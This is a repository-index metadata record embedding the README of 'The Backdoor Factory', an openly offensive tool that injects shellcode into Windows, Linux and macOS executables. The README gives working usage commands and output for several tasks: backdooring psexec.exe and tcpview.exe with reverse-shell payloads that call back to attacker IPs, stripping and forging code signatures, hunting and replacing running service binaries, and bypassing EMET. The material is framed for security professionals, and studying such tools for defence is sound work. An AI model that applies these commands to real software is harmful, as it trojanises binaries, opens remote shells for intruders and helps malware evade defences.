{"id":13464676,"url":"https://github.com/secretsquirrel/the-backdoor-factory","last_synced_at":"2025-05-14T21:07:17.029Z","repository":{"id":8705932,"uuid":"10372628","full_name":"secretsquirrel/the-backdoor-factory","owner":"secretsquirrel","description":"Patch PE, ELF, Mach-O binaries with shellcode new version in development, available only to sponsors","archived":false,"fork":false,"pushed_at":"2023-10-30T14:13:32.000Z","size":2741,"stargazers_count":3363,"open_issues_count":0,"forks_count":788,"subscribers_count":253,"default_branch":"master","last_synced_at":"2025-04-13T17:46:50.480Z","etag":null,"topics":["bdf","capstone","elf","file-infector","macho","pe","python"],"latest_commit_sha":null,"homepage":"https://github.com/sponsors/secretsquirrel","language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/secretsquirrel.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"COPYING","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null},"funding":{"github":["secretsquirrel"]}},"created_at":"2013-05-30T01:04:24.000Z","updated_at":"2025-04-12T21:33:24.000Z","dependencies_parsed_at":"2024-01-16T01:25:32.940Z","dependency_job_id":"89633ff3-51aa-485d-be07-7155dfa60880","html_url":"https://github.com/secretsquirrel/the-backdoor-factory","commit_stats":null,"previous_names":[],"tags_count":33,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/secretsquirrel%2Fthe-backdoor-factory","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/secretsquirrel%2Fthe-backdoor-factory/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/secretsquirrel%2Fthe-backdoor-factory/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/secretsquirrel%2Fthe-backdoor-factory/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/secretsquirrel","download_url":"https://codeload.github.com/secretsquirrel/the-backdoor-factory/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254227612,"owners_count":22035669,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bdf","capstone","elf","file-infector","macho","pe","python"],"created_at":"2024-07-31T14:00:48.479Z","updated_at":"2025-05-14T21:07:12.007Z","avatar_url":"https://github.com/secretsquirrel.png","language":"Python","funding_links":["https://github.com/sponsors/secretsquirrel"],"categories":["Python","Uncategorized","Tools","Python (1887)","[↑](#table-of-contents) Tools and frameworks","webshell_shellcode"],"sub_categories":["Uncategorized","Payload tools","资源传输下载"],"readme":"\n# The new version of BACKDOOR FACTORY is available! Get access here: https://github.com/sponsors/secretsquirrel\n\n# WARNING: Pull Requests WILL BE IGNORED AND CLOSED.\n\n## The Backdoor Factory (BDF)\n\nFor security professionals and researchers only.\n\nThe goal of BDF is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.\n\n[![Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory](https://badges.gitter.im/secretsquirrel/the-backdoor-factory.svg)](https://gitter.im/secretsquirrel/the-backdoor-factory?utm_source=badge\u0026utm_medium=badge\u0026utm_campaign=pr-badge\u0026utm_content=badge)  [![Black Hat Arsenal](https://www.toolswatch.org/badges/arsenal/2015.svg)](https://www.blackhat.com/us-15/arsenal.html)\n\nBlack Hat USA 2015:\n\n    Video: https://www.youtube.com/watch?v=OuyLzkG16Uk\n    \n    Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf\n\n\nShmoocon 2015:\n    \n    Video: https://archive.org/details/joshpitts_shmoocon2015\n\n    Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf\n\n\nDerbyCon 2014: \n\n    Video: http://www.youtube.com/watch?v=LjUN9MACaTs\n\n\nDerbyCon 2013: \n    \n    Video: http://www.youtube.com/watch?v=jXLb2RNX5xs\n\n    Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U\n\n    Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory\n\n\nContact the developer on:\n  \n    IRC:\n    irc.freenode.net #BDFactory \n\n    Twitter:\n    @midnite_runr\n\n\nUnder a BSD 3 Clause License\n\nSee the wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki\n\n---\n## Installing\n\n### DOCKER\n```\ndocker pull secretsquirrel/the-backdoor-factory\ndocker run -it secretsquirrel/the-backdoor-factory bash\n# ./backdoor.py\n```\n\n###OLD SCHOOL\n\n####Dependences\n#####*To use OnionDuke you MUST be on an intel machine because aPLib has no support for the ARM chipset yet.*\n\n\n[Capstone engine](http://www.capstone-engine.org) can be installed from PyPi with:\n\n    sudo pip install capstone\n\nPefile, most recent:\n    \n    https://code.google.com/p/pefile/\n\nosslsigncode (included in repo): \n    \n    http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/\n\nKali Install:\n\n      apt-get update\n      apt-get install backdoor-factory\n\n\nOther *NIX/MAC INSTALL:\n\n    ./install.sh\n\nThis will install Capstone with 3.01 pip to install pefile.\n\nUPDATE:\n\n    ./update.sh\n\n\n---\n\nSupporting: \n\n    Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), \n    and Mach-O x86/x64 and those formats in FAT files\n    \n    Packed Files: PE UPX x86/x64\n    \n    Experimental: OpenBSD x32 \n\n\nSome executables have built in protections, as such this will not work on all binaries.  It is advisable that you test target binaries before deploying them to clients or using them in exercises.  I'm on the verge of bypassing NSIS, so bypassing these checks will be included in the future.\n\n    Many thanks to Ryan O'Neill --ryan 'at' codeslum \u003cd ot\u003e org--\n    Without him, I would still be trying to do stupid things \n    with the elf format.\n    Also thanks to Silvio Cesare with his 1998 paper \n    (http://vxheaven.org/lib/vsc01.html) which these ELF patching\n    techniques are based on.\n\n\n\nRecently tested on many binaries.\n---\n\n./backdoor.py -h \n    Usage: backdoor.py [options]\n\n    \n---\n\n##Features:\n\n###PE Files\n\n    Can find all codecaves in an EXE/DLL.\n    By default, clears the pointer to the PE certificate table, thereby unsigning a binary.\n    Can inject shellcode into code caves or into a new section.\n    Can find if a PE binary needs to run with elevated privileges.\n    When selecting code caves, you can use the following commands:\n      -Jump (j), for code cave jumping\n      -Single (s), for patching all your shellcode into one cave\n      -Append (a), for creating a code cave\n      -Ignore (i or q), nevermind, ignore this binary\n    Can ignore DLLs\n    Import Table Patching\n    AutoPatching (-m automtic)\n    Onionduke (-m onionduke)\n\n###ELF Files\n\n    Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.\n\n###Mach-O Files\n    Pre-Text Section patching and signature removal\n\n###Overall\n    \n    The user can :\n      -Provide custom shellcode.\n      -Patch a directory of executables/dlls.\n      -Select x32 or x64 binaries to patch only.\n      -Include BDF is other python projects see pebin.py and elfbin.py\n\n---------------------------------------------\n\nSample Usage:\n---\n\n###Patch an exe/dll using an existing code cave:\n\n    ./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp \n\n    [*] In the backdoor module\n    [*] Checking if binary is supported\n    [*] Gathering file info\n    [*] Reading win32 entry instructions\n    [*] Looking for and setting selected shellcode\n    [*] Creating win32 resume execution stub\n    [*] Looking for caves that will fit the minimum shellcode length of 402\n    [*] All caves lengths:  (402,)\n    ############################################################\n    The following caves can be used to inject code and possibly\n    continue execution.\n    **Don't like what you see? Use jump, single, append, or ignore.**\n    ############################################################\n    [*] Cave 1 length as int: 402\n    [*] Available caves:\n    1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507\n    2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492\n    3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501\n    4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492\n    5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505\n    6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498\n    7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495\n    8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505\n    9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559\n    10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559\n    **************************************************\n    [!] Enter your selection: 5\n    Using selection: 5\n    [*] Changing Section Flags\n    [*] Patching initial entry instructions\n    [*] Creating win32 resume execution stub\n    [*] Overwriting certificate table pointer\n    [*] psexec.exe backdooring complete\n    File psexec.exe is in the 'backdoored' directory\n\n---\n\n###Patch an exe/dll by adding a code section:\n\n    ./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a \n    [*] In the backdoor module\n    [*] Checking if binary is supported\n    [*] Gathering file info\n    [*] Reading win32 entry instructions\n    [*] Looking for and setting selected shellcode\n    [*] Creating win32 resume execution stub\n    [*] Creating Code Cave\n    - Adding a new section to the exe/dll for shellcode injection\n    [*] Patching initial entry instructions\n    [*] Creating win32 resume execution stub\n    [*] Overwriting certificate table pointer\n    [*] psexec.exe backdooring complete\n    File psexec.exe is in the 'backdoored' directory\n\n---\n\n###Patch a directory of exes:\n    ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a\n    ...output too long for README...\n\n---\n\n###User supplied shellcode:\n    msfpayload windows/exec CMD='calc.exe' R \u003e calc.bin\n    ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin\n    This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.\n\n---\n###PEcodeSigning\n\nBDF can sign PE files if you have a codesigning cert. It uses osslsigncode.\nPut your signing cert and private key in the certs/ directory.  Prep your certs using openssl commands from this blog post:\nhttp://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html\n\nPut your private key password in a file (gasp) as so (exactly as so): \n    \n    echo -n yourpassword \u003e certs/passFile.txt\n\nName your certs EXACTLY as follows:\n\t\n    signingCert.cer =\u003e certs/signingCert.cer\n    signingPrivateKey.pem =\u003e certs/signingPrivateKey.pem\n\nYour certs/ directory should look excatly as so:\n    \n    certs\n    ├── passFile.txt\n    ├── signingPrivateKey.pem\n    └── signingCert.cer\n\nEnable PE Code Signing with the -C flag as so:\n\n     ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C\n\n\nOn successful run you should see this line in BDF output:\n\n    [*] Code Signing Succeeded\n\n\n\n---\n###Hunt and backdoor: Injector | Windows Only\n    The injector module will look for target executables to backdoor on disk.  It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.  \n    Edit the python dictionary \"list_of_targets\" in the 'injector' module for targets of your choosing.\n\n    ./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow \n\n---\n\n###Changelog\n\n####01/11/2016\n\n* Fix entry point truncation bug that led to improper recovery in rare instances\n\n\n####07/04/2016\n\n* Support for dynamic paths in BDFProxy for preprocessor\n\n####06/19/2016\n\n* Added the preprocessor and other optimizations\n* The preprocessor allows the user to modify the binary prior to payload injection\n* Invoke with the -p flag\n* See samples in ./preprocessor/\n\n\n####12/20/2015\n\n * Added directory paths to BDF to find certs directory.\n\n\n####12/18/2015\n * Added PE codesiging support.  You must provide your own codesigning cert. See here: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning\n\n####11/17/2015\n\n * Bug fix in rsrc section for onionduke patching and remove of random win32 version value in PE Header\n\n####11/13/2015\n  * Added proper truncating of a PE file after signature pointer is cleared in PE header - e.g. proper unsigning.  Resulting in better support for IAT patching\n\n####10/19/2015\n  * Fixed bug in IAT directory cave assignment that caused BDF crash\n  * Made the feature optional with -A flag\n\n####10/13/2015\n   * Changed the Import Table Directory modifications from adding a new section to using an existing code cave\n\n\n####08/12/2015\n   * Added 'replace' PATCH_METHOD - a straight PE copy pasta of the supplied binary\n   * More for usage with BDFProxy\n\n        Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe\n\n####08/11/2015\n   * Stability fix for auto cave selection for rare caves of overlap\n\n####08/05/2015\n    \n   * BH USA UPDATES, w00t!\n   * OnionDuke, use -m onionduke\n    * Supports user supplied exe's and dll's\n    * Usage: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe \n   * XP MODE = Prior IAT based payloads did not support XP, Wine, or Windows 98.  If you need to support XP use the -X flag. I'm not supporting anything less than XP (and not XP x64).\n   * Invoke UAC prompt to runas as admin. *experimental* - patches the PE manifest if requestedExecutionLevel exists.\n   * Stability updates:\n  \t* Fixed a bug with incorrect RVA calculation jmp'ing across 2+ code caves \n  \t* Better checks to determine if a new section for the IAT will write into appended data and therefore fail\n   * Speed Improvements:\n    * Faster code cave finding while using *automatic* mode (-m automatic)\n    * Faster rsrc parsing to find manifest file \n\n####5/01/2015\n\n   * Bug fix to the reverse_tcp_stager_threaded payload when using single caves payload\n\n####4/28/2015\n\n   * Adding check for Bound Imports (PE files with bound imports will not be patched)\n\n####4/14/2015\n\nSo many updates:\n  * Automatic patching for PE files (use -m automatic with a *_threaded payload)\n  \n  * New IAT payloads for x86/x64 PE files\n\n  * Just watch: https://www.youtube.com/watch?v=kkLI_ur6BxY\n\n####2/14/2015\nI \u003c3 you guys\n\n* Added Import Address Table patching for PEs to support iat_reverse_tcp payloads that \nuse the import table for winAPI calls. If the binary you are patching does not\nhave LoadLibraryA and GetProcAddress, for example, BDF will patch it in to a \nnew Import Table in a new section. Supports x64/x86 PEs.\n\n* Added iat_reverse_tcp for x64 PEs.\n\n* Bug fixes and improvements\n\n####1/1/2015\n\nHappy New Year!\n\nTwo new OS X payloads! The delay: delay_reverse_shell_tcp\n\n-B 30 --\u003e delay the payload for 30 seconds, main code runs right away.\n\nSetting of firm capstone commit for building into BDF, capstone 'Next' repo\nbreaks BDF.\n\nFixes to support cython capstone implementation null byte truncation issue\n\n\n####12/27/2014\n\nAdded payloadtests.py\n\nThis script will output patched files in backdoored that will allow for the user to \ntest the payloads as they wish. Each payload type increments the port used\nby one.\n\n\n    Usage: payloadtest.py binary HOST PORT\n  \n\n####12/17/2014\n\nOS X Beaconing Payloads for x86 and x64: beaconing_reverse_shell_tcp \n\n-B 15  --\u003e set beacon time for 15 secs\n\nBug fix to support OS X for BDFProxy\n\n\n\n####10/11/2014\n\nPE UPX Patching Added\n\n\n\n####9/26/2014\n\nMach-O x86/x64 added\n\nx86 IAT payload optimization\n\n\n\n####7/31/2014 \n\nAdded support for ARM x32 LE ELF patching\n\n\n\n####7/22/2014 \n\nAdded FreeBSD x32 ELF patching support\n\nChange to BSD 3 Clause License\n\n\n\n####7/13/2014 \n\nIncorporated Capstone: http://www.capstone-engine.org/\n\nDuring the process of adding Capstone, I removed about 500 lines of code. That's pretty awesome.\n\nRenamed loadliba_reverse_tcp to iat_reverse_tcp.\n\nSmall optimizations for speed.\n\n\n\n####5/30/2014 \n\nAdded a new win86 shellcode: loadliba_reverse_tcp\n    \n  - Based on the following research by Jared DeMott: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- Thanks @bannedit0 for mentioning this.\n  - This shellcode uses LoadLibraryA and GetProcAddress APIs to find all necessary APIs for a reverse TCP connection. No more of Stephen Fewers API hash lookup (which is still brilliant).\n  - It's not stealthy. It's position dependent. But the results are great (code cave jumping): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/\n  - Bypasses EMET 4.1. The caller protection doesn't catch it.\n  - As such, I'll be furthering this idea with an algo that patches the binary with custom shellcode based on the APIs that are in the IAT. Including porting the current win86 shellcodes to this idea.\n\n---\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsecretsquirrel%2Fthe-backdoor-factory","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsecretsquirrel%2Fthe-backdoor-factory","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsecretsquirrel%2Fthe-backdoor-factory/lists"}